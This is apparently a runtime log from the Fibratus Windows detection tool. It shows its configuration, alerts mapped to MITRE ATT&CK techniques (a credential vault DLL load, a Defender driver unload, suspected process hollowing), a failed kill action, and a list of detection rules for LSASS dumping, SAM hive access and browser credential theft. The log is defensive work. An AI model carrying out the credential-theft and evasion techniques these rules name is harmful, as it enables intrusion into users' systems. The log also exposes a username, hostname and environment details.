}}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ healthcheck-timeout=>5s enabled=>false index-name=>fibratus trace-log=>false sniff=>false flush-period=>1s timeout=>5s healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false excluded-procs=>[] excluded-files=>[] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T12:54:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T12:54:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T12:55:24+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\Windows\ImmersiveControlPanel\SystemSettings.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 100432 + Pid: 1224 + Tid: 1392 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 12:55:13.4852261 +0100 CET + Params: cmdline➜ "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel, directory_table_base➜ 18c8a8000, domain➜ ARCHRABBIT, exe➜ C:\Windows\ImmersiveControlPanel\SystemSettings.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffff978f6f185080, name➜ SystemSettings.exe, pid➜ 19112, ppid➜ 1224, real_ppid➜ 1224, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 12:55:13.4851633 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.seq.link: 5839198640970661888, rule.name: Suspicious Vault client DLL load, tactic.id: TA0006 + + Pid: 1224 + Ppid: 1028 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 131592 + Pid: 19112 + Tid: 16684 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 12:55:14.5239653 +0100 CET + Params: base_address➜ 7ffcb5f70000, checksum➜ 356647, default_address➜ 7ffcb5f70000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 19112, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.seq.link: 5839198640970661888, rule.name: Suspicious Vault client DLL load, tactic.id: TA0006 + + Pid: 19112 + Ppid: 1224 + Name: SystemSettings.exe + Parent name: svchost.exe + Cmdline: "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Windows\ImmersiveControlPanel\SystemSettings.exe + Cwd: C:\Windows\ImmersiveControlPanel\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T12:55:45+01:00 level=info msg=sending alert: [Windows Defender driver unloading]. Text: Windows Defender driver C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys unloaded by process C:\WINDOWS\system32\services.exe + Event(s): + Seq: 292822 + Pid: 1028 + Tid: 4152 + Type: UnloadImage + CPU: 5 + Name: UnloadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 12:55:27.2454445 +0100 CET + Params: base_address➜ fffff8040a9b0000, checksum➜ 121631, default_address➜ 0, file_path➜ C:\WINDOWS\system32\drivers\wd\WdNisDrv.sys, image_size➜ 110592, pid➜ 0, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: subtechnique.name: Disable or Modify Tools, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562, technique.name: Impair Defenses, rule.name: Windows Defender driver unloading, subtechnique.id: T1562.001, subtechnique.ref: https://attack.mitre.org/techniques/T1562/001, tactic.name: Defense Evasion, tactic.id: TA0005, technique.ref: https://attack.mitre.org/techniques/T1562/ + + Pid: 1028 + Ppid: 400 + Name: services.exe + Parent name: wininit.exe + Cmdline: C:\WINDOWS\system32\services.exe + Parent cmdline: wininit.exe + Exe: C:\WINDOWS\system32\services.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\services.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T12:56:22+01:00 level=info msg=sending alert: [Potential Process Hollowing]. Text: Event(s): + Seq: 411812 + Pid: 18872 + Tid: 12444 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 12:55:58.7889993 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe" init pwsh --config=C:\Posh-Themes\spaceship.json --print, directory_table_base➜ 18b5bb000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f70bd2080, name➜ oh-my-posh.exe, pid➜ 18732, ppid➜ 18872, real_ppid➜ 18872, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 12:55:58.7889993 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, tactic.name: Defense Evasion, rule.name: Potential Process Hollowing, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, subtechnique.id: T1055.012, rule.seq.link: 1764935767378950572, technique.id: T1055, technique.name: Process Injection + + Pid: 18872 + Ppid: 5620 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:66897488-297b-4f49-a10f-72bb140bb16a _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 414439 + Pid: 18732 + Tid: 4192 + Type: UnmapViewFile + CPU: 4 + Name: UnmapViewFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 12:55:58.8724306 +0100 CET + Params: file_key➜ ffffc38f14e30a80, offset➜ 6533120, pid➜ 18732, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ af0000, view_size➜ 20594688 + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, subtechnique.id: T1055.012, technique.name: Process Injection, rule.seq.link: 1764935767378950572, rule.name: Potential Process Hollowing, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/ + + Pid: 18732 + Ppid: 18872 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe" init pwsh --config=C:\Posh-Themes\spaceship.json --print + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe" init pwsh --config=C:\Posh-Themes\spaceship.json --print] + Session ID: 1 + Envs: map[] + + + + Seq: 520135 + Pid: 18464 + Tid: 7768 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 12:56:03.9653907 +0100 CET + Params: base_address➜ af0000, cert_issuer➜ US, DigiCert, Inc., DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, cert_not_after➜ 2025-07-04 23:59:59 +0000 UTC, cert_not_before➜ 2022-07-05 00:00:00 +0000 UTC, cert_serial➜ 0fbc139101715dcf9495483ff9ef8881, cert_subject➜ BE, Diest, Jan De Dobbeleer, Jan De Dobbeleer, checksum➜ 20174015, default_address➜ af0000, file_path➜ C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe, image_size➜ 20594688, is_dll➜ false, is_dotnet➜ false, is_driver➜ false, is_exec➜ true, pid➜ 18464, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 14558167519559942144, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.name: Process Hollowing, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Potential Process Hollowing, tactic.ref: https://attack.mitre.org/tactics/TA0005/, subtechnique.id: T1055.012 + + Pid: 18464 + Ppid: 18872 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=0" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=0" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T12:56:22+01:00 level=info msg=executing kill action: pids=[18732 18464] rule=Potential Process Hollowing source=rules/engine.go:294 +time=2025-12-05T12:56:22+01:00 level=error msg=unable to execute rule action: fail to execute action for "Potential Process Hollowing" rule: failed to kill pid 18464: Access is denied. source=rules/engine.go:252 +time=2025-12-05T13:04:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:04:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:04:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:19:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 